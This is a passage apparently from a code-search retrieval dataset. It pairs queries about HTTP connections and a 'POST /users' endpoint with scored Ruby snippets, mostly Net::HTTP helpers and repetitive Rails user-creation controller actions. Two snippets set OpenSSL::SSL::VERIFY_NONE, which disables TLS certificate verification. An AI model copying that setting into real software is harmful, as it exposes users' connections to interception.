= Net::HTTP.new(uri.host, uri.port)\n else\n http = Net::HTTP.new(uri.host,\n Addressable::URI.port_mapping[uri.scheme])\n end\n http.open_timeout = 5\n\n # Unfortunately the net/http(s) API can't seem to do this for us,\n # even if we require net/https from the beginning (ruby 1.8)\n if uri.scheme == \"https\"\n require 'net/https'\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n if bot.config[\"log_level\"] == \"debug\"\n http.set_debug_output $stderr\n end\n\n begin\n res = http.start { |http|\n @log.debug \"http.start, http object: \" + \n PP.singleline_pp(http, '')\n req = Net::HTTP::Get.new(uri.request_uri,\n { 'User-Agent' => 'campfire-bot/20110709 ' +\n '(x86_64-unknown-linux-gnu) ruby-stdlib-net/1.8.7' })\n\n if uri.user != nil && uri.user != \"\" &&\n uri.password != nil && uri.password != \"\"\n req.basic_auth uri.user, uri.password\n end\n\n response = http.request req\n @log.debug \"http.start, response: \" + \n PP.singleline_pp(response, '')\n response\n }\n\n rescue Exception => e\n @log.error \"Exception... #{e.class.name}, #{e.message}\"\n end\n\n case res\n when Net::HTTPRedirection\n uri.merge({ :host => res.header['Location'] })\n @log.debug \"following HTTPRedirection... res: #{res}, uri: \" +\n \"#{uri.omit(:user, :password)}, header: #{res.header['Location']}\"\n [res.header['Location'], res]\n\n else # Net::HTTPSuccess or error\n @log.debug \"proper non-redirected location... res: #{res}, uri: #{uri.omit(:user, :password)}\"\n [url, res]\n end\n end", "title": "" }, { "docid": "2ba260502f9375d41a6d0c0323e7506f", "score": "0.6053366", "text": "def run_request(method, url, body, headers); end", "title": "" }, { "docid": "58522c38c18bfac7ea8a60be47a9f605", "score": "0.6050467", "text": "def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend", "title": "" }, { "docid": "0f990766ea62a1b93cc42a258d98d2e5", "score": "0.6047508", "text": "def build_connection(url)\n\n if config[:proxy]\n proxy = URI.parse(config[:proxy])\n http = Net::HTTP::Proxy(proxy.host, proxy.port).new(url.host, url.port)\n else\n http = Net::HTTP.new(url.host, url.port)\n end\n\n http.set_debug_output($stderr) if config[:debug]\n\n if url.scheme == \"https\"\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n if config[:certificate_path]\n cert = File.read(config[:certificate_path])\n http.key = OpenSSL::PKey::RSA.new(cert)\n http.cert = OpenSSL::X509::Certificate.new(cert)\n end\n\n http\n end", "title": "" }, { "docid": "bef67b3c57ab18bceee2157b38bf019b", "score": "0.6044988", "text": "def _http_url\n HTTPURI + _uri_path\n end", "title": "" }, { "docid": "8adc678e0cd9e4eb36be159327ab96a4", "score": "0.6043128", "text": "def make_get_request(uri)\n response = Net::HTTP.get_response(uri)\n response.is_a?(Net::HTTPSuccess) ? response.body : nil\nend", "title": "" }, { "docid": "881030bbf0b3a5f617b5653aca886546", "score": "0.60280746", "text": "def get(url)\n uri = URI(url)\n Net::HTTP.get(uri)\nend", "title": "" }, { "docid": "55e7d40354fa29a209d327beba055f45", "score": "0.60222715", "text": "def proxy_request_to(args)\n @cgi, @http, @fp_log = args[:cgi], args[:http], args[:fp_log]\n \n headers = {\"Hayabusa_mode\" => \"proxy\"}\n @cgi.env.each do |key, val|\n keyl = key.to_s.downcase\n \n if key[0, 5] == \"HTTP_\"\n key = key[5, key.length].gsub(\"_\", \" \")\n key = key.to_s.split(\" \").select{|w| w.capitalize! or w }.join(\" \")\n key = key.gsub(\" \", \"-\")\n keyl = key.downcase\n \n if keyl != \"connection\" and keyl != \"accept-encoding\" and keyl != \"hayabusa-fcgi-config\" and key != \"hayabusa-cgi-config\"\n headers[key] = val\n end\n end\n end\n \n #Make request.\n uri = Knj::Web.parse_uri(@cgi.env[\"REQUEST_URI\"])\n url = File.basename(uri[:path])\n url = url[1, url.length] if url[0] == \"/\"\n \n if @cgi.env[\"QUERY_STRING\"].to_s.length > 0\n url << \"?#{cgi.env[\"QUERY_STRING\"]}\"\n end\n \n @fp_log.puts(\"Proxying URL: '#{url}'.\") if @fp_log\n \n #The HTTP-connection can have closed mean while, so we have to test it.\n raise Errno::ECONNABORTED unless @http.socket_working?\n \n # Count used to know what is the status line.\n @count = 0\n \n if @cgi.env[\"REQUEST_METHOD\"] == \"POST\"\n # Use CGI to parse post.\n real_cgi = Hayabusa::Cgi.new(@cgi)\n params = real_cgi.params\n \n if cgi.env[\"CONTENT_TYPE\"].to_s.downcase.include?(\"multipart/form-data\")\n @http.post_multipart(\n :url => url,\n :post => self.convert_fcgi_post_fileuploads_to_http2(self.convert_fcgi_post(params, :http2_compatible => true)),\n :default_headers => headers,\n :cookies => false,\n :on_content => self.method(:on_content)\n )\n else\n @http.post(\n :url => url,\n :post => self.convert_fcgi_post(params, :http2_compatible => true),\n :default_headers => headers,\n :cookies => false,\n :on_content => self.method(:on_content)\n )\n end\n else\n @http.get(\n :url => url,\n :default_headers => headers,\n :cookies => false,\n :on_content => self.method(:on_content)\n )\n end\n end", "title": "" }, { "docid": "5105fa0425cd98a94367a5cc4dd7accc", "score": "0.6019043", "text": "def http_class\n if use_proxy?\n Net::HTTP::Proxy(proxy.host, proxy.port, proxy.user, proxy.password)\n else\n Net::HTTP\n end\n end", "title": "" } ]
9a4a2ff44d30e2005372fb0df2c1e507
The connection contains the transport.
[ { "docid": "4b4495930a2dac03c9269afcd0370e8a", "score": "0.0", "text": "def initialize(transport)\n @transport = transport\n @error = nil\n end", "title": "" } ]
[ { "docid": "d1c5ff86d84c719b970cd9d62447de21", "score": "0.82758904", "text": "def connection\n @connection ||= @transport.connection\n end", "title": "" }, { "docid": "be1fc1edf72568299a018614442cae92", "score": "0.8134655", "text": "def transport\n self.connection.transport\n end", "title": "" }, { "docid": "2acce6b226ebd21c41663e860eef2f3f", "score": "0.809734", "text": "def transport_connection\n @transport_connection ||= transport&.connection\n end", "title": "" }, { "docid": "4da3043a8da5d84257b29bc5aea1a013", "score": "0.7629825", "text": "def _connection\n @connection\n end", "title": "" }, { "docid": "a5bec7b160a46b4b8df9246e3050fbdb", "score": "0.74419236", "text": "def connection\n _connection\n end", "title": "" }, { "docid": "fec67ebc62e99e1cacd7c8c8423e6d22", "score": "0.7441455", "text": "def transport_connection\n @transport_connection ||= Ohai::TrainTransport.new(logger).build_transport&.connection\n end", "title": "" }, { "docid": "bfbddbe4de3622f8984b493b3556c57f", "score": "0.74052566", "text": "def connection\n @connection_proxy\n end", "title": "" }, { "docid": "8335a5294f207325fe1818547c745588", "score": "0.73955697", "text": "def __transport_connection\n nil\n end", "title": "" }, { "docid": "e63fb567ca02ddf5cb578ace62a976f7", "score": "0.7351913", "text": "def connection\n @@connection_proxy\n end", "title": "" }, { "docid": "1741f51e0f950dce989a535c50c0d353", "score": "0.7350362", "text": "def connection\n @connection_proxy.connection\n end", "title": "" }, { "docid": "29b7e4695e64e40dd860ed9bb9cd6b9a", "score": "0.73162085", "text": "def connection\n state.connection\n end", "title": "" }, { "docid": "92fbe9ff447ca6d1490dc83dfd1c6574", "score": "0.7292066", "text": "def connection\n @connection\n end", "title": "" }, { "docid": "ac9fd4db600fdf0bc71783650c97ef8a", "score": "0.72787726", "text": "def connection\n @connection\n end", "title": "" }, { "docid": "ac9fd4db600fdf0bc71783650c97ef8a", "score": "0.72787726", "text": "def connection\n @connection\n end", "title": "" }, { "docid": "ac9fd4db600fdf0bc71783650c97ef8a", "score": "0.72787726", "text": "def connection\n @connection\n end", "title": "" }, { "docid": "ac9fd4db600fdf0bc71783650c97ef8a", "score": "0.72787726", "text": "def connection\n @connection\n end", "title": "" }, { "docid": "ac9fd4db600fdf0bc71783650c97ef8a", "score": "0.72787726", "text": "def connection\n @connection\n end", "title": "" }, { "docid": "d2bff931b975a772364f5e9798012621", "score": "0.72524685", "text": "def connection\n @conn\n end", "title": "" }, { "docid": "5d1d5e7403405e6256a47a01124d729f", "score": "0.7232735", "text": "def connection\n @connection\n end", "title": "" }, { "docid": "5d1d5e7403405e6256a47a01124d729f", "score": "0.7232735", "text": "def connection\n @connection\n end", "title": "" }, { "docid": "9d5a9b7dd98217167d3857d5d119ad8a", "score": "0.71977013", "text": "def connection\n @connection\n end", "title": "" }, { "docid": "315226b3e5b4be26451dd57c0d3d9175", "score": "0.7122275", "text": "def transport\n Transport.wrap(Cproton.pn_connection_transport(@impl))\n end", "title": "" }, { "docid": "fb5caf326c3ae01920521bcad9596919", "score": "0.7107875", "text": "def connection\n connect_through.connection\n end", "title": "" }, { "docid": "c4aa1d5f010d852a7d09a151be188b92", "score": "0.7106775", "text": "def connection\n Thread.current.thread_variable_get(:connection)\n end", "title": "" }, { "docid": "4ce175562535f1b3d4f3375cc943e956", "score": "0.7081964", "text": "def connection\n @@connection\n end", "title": "" }, { "docid": "d47d53974672377ff6b23640f135b774", "score": "0.70785195", "text": "def connection\n Connection.wrap(Cproton.pn_transport_connection(@impl))\n end", "title": "" }, { "docid": "1687c23f0e7b9818aa81171833d7ce02", "score": "0.7047788", "text": "def connection\n retrieve_connection\n end", "title": "" }, { "docid": "1687c23f0e7b9818aa81171833d7ce02", "score": "0.7047788", "text": "def connection\n retrieve_connection\n end", "title": "" }, { "docid": "9eeffeae7310b6480302f5472c3de353", "score": "0.6973413", "text": "def connect\n connection\n end", "title": "" }, { "docid": "f55f3d4d6077ff379c2f62ce70881c51", "score": "0.69659203", "text": "def connection\n @connection ||= build_connection\n end", "title": "" }, { "docid": "f55f3d4d6077ff379c2f62ce70881c51", "score": "0.69659203", "text": "def connection\n @connection ||= build_connection\n end", "title": "" }, { "docid": "f55f3d4d6077ff379c2f62ce70881c51", "score": "0.69659203", "text": "def connection\n @connection ||= build_connection\n end", "title": "" }, { "docid": "c8e79dd6e5c5f707d5a5790448edea5e", "score": "0.6953961", "text": "def connection\n client.send(:connection)\n end", "title": "" }, { "docid": "c8e79dd6e5c5f707d5a5790448edea5e", "score": "0.6953961", "text": "def connection\n client.send(:connection)\n end", "title": "" }, { "docid": "c8e79dd6e5c5f707d5a5790448edea5e", "score": "0.6953961", "text": "def connection\n client.send(:connection)\n end", "title": "" }, { "docid": "c8e79dd6e5c5f707d5a5790448edea5e", "score": "0.6953961", "text": "def connection\n client.send(:connection)\n end", "title": "" }, { "docid": "c8e79dd6e5c5f707d5a5790448edea5e", "score": "0.6953961", "text": "def connection\n client.send(:connection)\n end", "title": "" }, { "docid": "8301ddf34fafec0d71955d8cc178945a", "score": "0.6918825", "text": "def raw_connection\n @connection\n end", "title": "" }, { "docid": "8301ddf34fafec0d71955d8cc178945a", "score": "0.6918825", "text": "def raw_connection\n @connection\n end", "title": "" }, { "docid": "8301ddf34fafec0d71955d8cc178945a", "score": "0.6918825", "text": "def raw_connection\n @connection\n end", "title": "" }, { "docid": "8301ddf34fafec0d71955d8cc178945a", "score": "0.6918825", "text": "def raw_connection\n @connection\n end", "title": "" }, { "docid": "2cf750f5a50f3f276b32b912bbdbc13f", "score": "0.6916107", "text": "def connection\n self\n end", "title": "" }, { "docid": "103f3d263083ddebbd8f61fa6eb1b71b", "score": "0.6913961", "text": "def connection\n self.class.connection\n end", "title": "" }, { "docid": "103f3d263083ddebbd8f61fa6eb1b71b", "score": "0.6913961", "text": "def connection\n self.class.connection\n end", "title": "" }, { "docid": "103f3d263083ddebbd8f61fa6eb1b71b", "score": "0.6913961", "text": "def connection\n self.class.connection\n end", "title": "" }, { "docid": "103f3d263083ddebbd8f61fa6eb1b71b", "score": "0.6913961", "text": "def connection\n self.class.connection\n end", "title": "" }, { "docid": "103f3d263083ddebbd8f61fa6eb1b71b", "score": "0.6913961", "text": "def connection\n self.class.connection\n end", "title": "" }, { "docid": "103f3d263083ddebbd8f61fa6eb1b71b", "score": "0.6913961", "text": "def connection\n self.class.connection\n end", "title": "" }, { "docid": "103f3d263083ddebbd8f61fa6eb1b71b", "score": "0.6913961", "text": "def connection\n self.class.connection\n end", "title": "" }, { "docid": "103f3d263083ddebbd8f61fa6eb1b71b", "score": "0.6913961", "text": "def connection\n self.class.connection\n end", "title": "" }, { "docid": "bf62c6e3cd3c50f5fd39d4c385d1dbcf", "score": "0.68882954", "text": "def connection\n @_event.connection\n end", "title": "" }, { "docid": "668b6651646bea110515ec2d2efd9e59", "score": "0.68506294", "text": "def connection\n _connection || super\n end", "title": "" }, { "docid": "46a7ef4a8fa2396e1d13a36262a4fd7e", "score": "0.6828367", "text": "def __transport_connection\n # Software consumers MUST override this method with their own implementation. The default behavior here is subject to change.\n return Chef.run_context.transport_connection if defined?(Chef) && Chef.respond_to?(:run_context) && Chef&.run_context&.transport_connection\n\n nil\n end", "title": "" }, { "docid": "476be49bda07fca481746404c869791a", "score": "0.67969644", "text": "def connection\n @connection || connect\n end", "title": "" }, { "docid": "5d6cd9c6ee99c53ce1a6516497f3bde8", "score": "0.6759081", "text": "def connection\r\n end", "title": "" }, { "docid": "5d6cd9c6ee99c53ce1a6516497f3bde8", "score": "0.6759081", "text": "def connection\r\n end", "title": "" }, { "docid": "5d6cd9c6ee99c53ce1a6516497f3bde8", "score": "0.6759081", "text": "def connection\r\n end", "title": "" }, { "docid": "002007065baf648b35a819bab4b5b20b", "score": "0.67567784", "text": "def connection\n self.session.connection\n end", "title": "" }, { "docid": "002007065baf648b35a819bab4b5b20b", "score": "0.67567784", "text": "def connection\n self.session.connection\n end", "title": "" }, { "docid": "833e9f99873df4036b225353788d18a7", "score": "0.67544883", "text": "def connection\n\t\tself.connect\n\t\t\n\t\t@connections[Thread.current]\n\tend", "title": "" }, { "docid": "42f8fc0df47f64a71f806379aea83fa3", "score": "0.67512965", "text": "def proxied_connection\n @connection\n end", "title": "" }, { "docid": "defed02305628aa86b9fac32bd459e04", "score": "0.672144", "text": "def connection\n @connection_pool.connection\n end", "title": "" }, { "docid": "2e07c41b40af51d4cabbad0c8b864146", "score": "0.6712337", "text": "def current_connection\n if transaction = current_transaction\n transaction.primitive_for(self).connection\n end\n end", "title": "" }, { "docid": "60522e5aa7c3663499d795847b578942", "score": "0.67067754", "text": "def connection\n @connection ||= Server.connection\n end", "title": "" }, { "docid": "4eb0f394133bdf7ca077658d85dba489", "score": "0.6702317", "text": "def connection\n raise ConnectionNotEstablished unless @@connection\n return @@connection\n end", "title": "" }, { "docid": "7b1c107fff0441e7c5ee917656770438", "score": "0.66531235", "text": "def connection\n @connection ||= @ar_client\n end", "title": "" }, { "docid": "737fc0c2ee2e8dae5c27f8fbf2adbdb9", "score": "0.6596785", "text": "def connection\n # Verify the connection if it's been over an hour\n # since it was last verified.\n self.original_connection.verify!(3600)\n self.original_connection\n end", "title": "" }, { "docid": "f2013e68c5da763c431fd1119c8e8cbd", "score": "0.6588687", "text": "def connection_established(connection)\n self.connection = connection\n end", "title": "" }, { "docid": "963596624410e1d48a47f942f1e2ee3c", "score": "0.6565224", "text": "def connect\n @connection.open\n end", "title": "" }, { "docid": "a1685689cceb9cc1e63810ba017217d9", "score": "0.65447575", "text": "def transport\n @transport ||= Pharos::Transport.for(self)\n end", "title": "" }, { "docid": "c1bcd68c0236e983913abb2b0eaba016", "score": "0.653828", "text": "def initialize connection\n @connection = connection\n end", "title": "" }, { "docid": "56bb28f109eefa25a39c9d9e498fbc09", "score": "0.6529444", "text": "def get_underlying_connection\n raise 'Unimplemented'\n end", "title": "" }, { "docid": "14d4e23d52b3a949c859967dc3bf56b1", "score": "0.6519057", "text": "def connect\n self.connection.connect\n end", "title": "" }, { "docid": "7291efa83f70bebc0f982dc0e86006ed", "score": "0.6483756", "text": "def connection\n @connection ||= build_connection\n return @connection\n end", "title": "" }, { "docid": "7291efa83f70bebc0f982dc0e86006ed", "score": "0.6483756", "text": "def connection\n @connection ||= build_connection\n return @connection\n end", "title": "" }, { "docid": "ced59fc3b1fa0d761ed397a5b5b0db4a", "score": "0.64804846", "text": "def connection\n\t\t\t\t@connection ||= @pool.acquire\n\t\t\tend", "title": "" }, { "docid": "01a0aedc99f62085951cc7732192b8b5", "score": "0.6474575", "text": "def connection\n @connection ||= config.connection\n end", "title": "" }, { "docid": "48842ee088d0f8c66a31e832743d06bd", "score": "0.6456248", "text": "def connection\n @adapter || establish_connection\n end", "title": "" }, { "docid": "a2b5fc3a4e6d83f788999f7d0e47d044", "score": "0.64333034", "text": "def connect_using conn\n @connection = conn\n end", "title": "" }, { "docid": "6343d2e9a7e2964759cf180f28d2e26c", "score": "0.64156187", "text": "def get_connection_endpoint\n\t\tend", "title": "" }, { "docid": "aab4dbcb0297f7527d44e6a1f74c39da", "score": "0.6413126", "text": "def connection\n connect! unless defined? @@client\n @@client\n end", "title": "" }, { "docid": "130ed8b0a01f4968ab981328698f1c78", "score": "0.6378795", "text": "def raw_connection; end", "title": "" }, { "docid": "e9a57edca042364336105152fcde8e08", "score": "0.63720423", "text": "def process_connect\n super\n end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.6352463", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.6352463", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.6352463", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.6352463", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.6352463", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.6352463", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.6352463", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.6352463", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.6352463", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.6352463", "text": "def connection; end", "title": "" }, { "docid": "6301b48e459f10c66e62f7a8799cef78", "score": "0.6352463", "text": "def connection; end", "title": "" }, { "docid": "1e1fdf12bd6dbb2e05e200a0e2e2b731", "score": "0.63372254", "text": "def connection\n\t\t\t@connection ||= Faraday.new(url: base_url) do |f|\n\t\t\t\tf.request :url_encoded\n\t\t\t\tf.adapter Faraday.default_adapter\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "43da77f573224aeecb7c3de4a752c3b8", "score": "0.63231874", "text": "def _connection\n raise NotImplemented, \"Interface needs to define a '_connection' method\"\n end", "title": "" }, { "docid": "004085e6896ab94ef16693c769588a0b", "score": "0.6322322", "text": "def with_connection; end", "title": "" }, { "docid": "34ec87302c14630549e0c62b1826e5c8", "score": "0.6318644", "text": "def transport\n device.transport\n end", "title": "" }, { "docid": "6476517ef8e29c046509d8b64c905b9b", "score": "0.63173985", "text": "def establish_connection\n @conn = build_connection\n end", "title": "" }, { "docid": "6e4125686aaeea5cafea170bb1482bec", "score": "0.63168776", "text": "def connection?; end", "title": "" }, { "docid": "6e4125686aaeea5cafea170bb1482bec", "score": "0.63167053", "text": "def connection?; end", "title": "" } ]
b6ad3d00ab18a50cf64bf3c44d78bd27
POST /users POST /users.json
[ { "docid": "062bd74faf5e2edd0b9442bfe58dc9c5", "score": "0.0", "text": "def create\n @user = User.new(user_params)\n @user.image.attach(params[:user][:image])\n @user.image = \"default.png\"\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "24c5e44d772da89269600975eeebdfda", "score": "0.71918935", "text": "def create\n @user = User.new(user_params)\n @user.save\n json_response(@user, :created)\n end", "title": "" }, { "docid": "6e1490da4a56756e02c8de2a503a156e", "score": "0.7185745", "text": "def create\n user = User.create(user_params)\n render json: user \n end", "title": "" }, { "docid": "abbd4ae1bf5b73d33895ce37a232ee4e", "score": "0.71666557", "text": "def create\n uri = \"http://localhost:3000/api/v1/users\"\n payload = params.to_json # converting the params to json\n rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n begin\n rest_resource.post payload , :content_type => \"application/json\"\n flash[:notice] = \"User Saved successfully\"\n redirect_to users_path # take back to index page, which now list the newly created user also\n # rescue RestClient::ExceptionWithResponse => e\n # e.response\n rescue Exception => e\n flash[:error] = \"User Failed to save\"\n render :new\n end\n end", "title": "" }, { "docid": "37985c48d5b61c8f5cf1435be046c885", "score": "0.71521175", "text": "def create\n # Cria um novo usuário\n \tuser = User.new(users_params)\n \tif user.save\n \t\trender json: :success, status: 201\n \telse\n \t\trender json: user.errors, status: :unprocessable_entity\n \tend\n end", "title": "" }, { "docid": "6daf8ec468346206f77462c0cc6e3f8f", "score": "0.71345496", "text": "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: 201\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "22201f22e629399ac67e583badeab894", "score": "0.71198785", "text": "def post_users_json payload\n\tJSON.parse ( rest_client_request :post, HF_URL, payload ).body\nend", "title": "" }, { "docid": "43ac909a0952d35ac026c86ef452bec1", "score": "0.7099925", "text": "def create\n @user = User.create!(user_params)\n json_response(@user, :created)\n end", "title": "" }, { "docid": "43ac909a0952d35ac026c86ef452bec1", "score": "0.7099925", "text": "def create\n @user = User.create!(user_params)\n json_response(@user, :created)\n end", "title": "" }, { "docid": "0d97a0230ec27d27301f84e74feba42a", "score": "0.70846635", "text": "def create\n user = User.new(user_params)\n if user.save\n render json: { status: :success, data: user.to_json }\n else\n render json: { status: :error, data: user.errors }\n end\n end", "title": "" }, { "docid": "07dda66443bfdb3ed32429d4dc792c3e", "score": "0.70836794", "text": "def create\n @user = User.new(user_params)\n if @user.save\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "6f147d0743269674e02acd0b2139f2a5", "score": "0.70759267", "text": "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "7dce7921df400608e751f4f96f67f54b", "score": "0.7072552", "text": "def create\n @user = User.new(user_params)\n if @user.save\n render json: @user, status: 200\n else\n render error: {error: 'Unble to create user'}, status: 400\n end\n end", "title": "" }, { "docid": "59a72dc48a5d3d6fbd6229f5b7c7687a", "score": "0.7064762", "text": "def create\n user = User.new(user_params)\n if user.save\n render json: user, status: 201, location: [:api, user]\n else\n failed_to_create(user, \"user\")\n end\n end", "title": "" }, { "docid": "1d4ed059e259909d177e4a88f47f05bc", "score": "0.7058827", "text": "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d8ffcf4fd633958a8947bac4db9cb5dc", "score": "0.70581484", "text": "def create \n @user = User.create(user_params)\n json_response(@user) # return created user, to signify that the user was created\n end", "title": "" }, { "docid": "ebd87ad8d229bd8cd7de2ac155d7b227", "score": "0.7037434", "text": "def create\n @user = User.create(user_params)\n if @user.save\n render json: @user, status: :created\n end\n end", "title": "" }, { "docid": "e9fbfa1bc53a2ac4bd58c00bd1d5638f", "score": "0.70279425", "text": "def create\n @user = User.new(user_params(params[:user]))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e9fbfa1bc53a2ac4bd58c00bd1d5638f", "score": "0.70279425", "text": "def create\n @user = User.new(user_params(params[:user]))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e9fbfa1bc53a2ac4bd58c00bd1d5638f", "score": "0.70279425", "text": "def create\n @user = User.new(user_params(params[:user]))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e9fbfa1bc53a2ac4bd58c00bd1d5638f", "score": "0.70279425", "text": "def create\n @user = User.new(user_params(params[:user]))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "f47048db1e9115b5c630f9714cc0f75d", "score": "0.7023704", "text": "def create\n @user = User.new(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a2d70996dc3fb75fa1611a5ac10678ec", "score": "0.7009444", "text": "def create\n @user = User.new(user_params)\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3cdb8f63f18ee02e93e12fe2be0dfdd1", "score": "0.70021695", "text": "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3cdb8f63f18ee02e93e12fe2be0dfdd1", "score": "0.70021695", "text": "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3cdb8f63f18ee02e93e12fe2be0dfdd1", "score": "0.70021695", "text": "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3cdb8f63f18ee02e93e12fe2be0dfdd1", "score": "0.70021695", "text": "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3cdb8f63f18ee02e93e12fe2be0dfdd1", "score": "0.70021695", "text": "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "027dceb0e06879f9dd82e3267096fab6", "score": "0.6988802", "text": "def create\n user = User.new(user_params)\n if user.save\n render(json: user.as_json, status: :ok)\n else\n render(json: {error: \"Erro ao criar usuário\"}, status: :ok) \n end\n end", "title": "" }, { "docid": "e1e13eee09f048e261c1adc854f89ba8", "score": "0.6984628", "text": "def create_user(user_id, request)\n start.uri('/api/user')\n .url_segment(user_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "60008e55efe5e005c89473989a349a73", "score": "0.6979338", "text": "def create\n @newUser = User.new user_params\n @newUser.save\n respond_to do |format|\n format.json { render :json =>{ :user => @newUser } }\n end\n end", "title": "" }, { "docid": "8ec352eb64ac87719368e0a6384df870", "score": "0.6977727", "text": "def create\n @user = User.new(user_params)\n \n if @user.save\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "f0e15f4bfe9ccb2e01928c79b410056f", "score": "0.6974681", "text": "def create\n @user = User.new(user_params)\n if @user.save\n render json: @user\n else\n render json: { error: @user.errors }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2354332fa19a242825b6ebad7478bd81", "score": "0.6971428", "text": "def create\n user = User.new(user_params)\n\n if user.save\n render json: user, status: 201\n else\n render json: { errors: user.errors }, status: 422\n end\n end", "title": "" }, { "docid": "38c2fae14c3a3237a50d99d7804078da", "score": "0.6971035", "text": "def create\n user = User.new(user_params)\n\n if user.save\n render json: user, status: 201\n\n else\n render json: { errors: user.errors}, status: 422\n end\n end", "title": "" }, { "docid": "d892405a3f0fdac5f0e4edb1975899f2", "score": "0.6967278", "text": "def create_user(user_id, request)\n start.uri('/api/user')\n .url_segment(user_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "81d92dd09d4653c74e47d465e6ea0518", "score": "0.6967081", "text": "def create\n @user = User.new(user_params)\n if @user.valid?\n @user.save\n render json: @user\n else\n render json: { error: 'failed to create user' }, status: :not_acceptable\n end\n end", "title": "" }, { "docid": "4dae5bffafa98da4d6846fa897e239db", "score": "0.6941792", "text": "def create_user\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/users.json'\n ).to_s\n\n puts RestClient.post(\n url,\n { user: { username: \"Gizmo\"} }\n )\nend", "title": "" }, { "docid": "e52b492f541859fc0188a4774fd33dae", "score": "0.69242287", "text": "def create\n new_user = User.create!(user_params)\n json_response(new_user, :created)\n end", "title": "" }, { "docid": "84f6f74cea05ed6a92c458db2e2a5f02", "score": "0.69229186", "text": "def create\n @user = User.new(JSON.parse(params[:user]))\n\n respond_to do |format|\n if @user.save\n #format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: Api::V3::UsersPresenter.new().as_json(@user), status: :created, location: @user }\n else\n #format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a2bb25163b85a2e77c21abf3f5b2992", "score": "0.69217014", "text": "def create\n user = User.new(user_params)\n if user.save\n render json: user, status: 201, location: [:api_v1, user]\n else\n render json: { errors: user.errors }, status: 422\n end\n end", "title": "" }, { "docid": "df5af3912b67fcf0cc3a1b8ec7605de0", "score": "0.68983114", "text": "def create\n @user = User.new(user_params(params))\n\t\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "f401cd8bd43122e22ab229e70587952c", "score": "0.68926907", "text": "def create\n @user = User.new(user_params)\n\n if @user.save\n return render json: { user: @user }, status: :created\n else\n return render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": 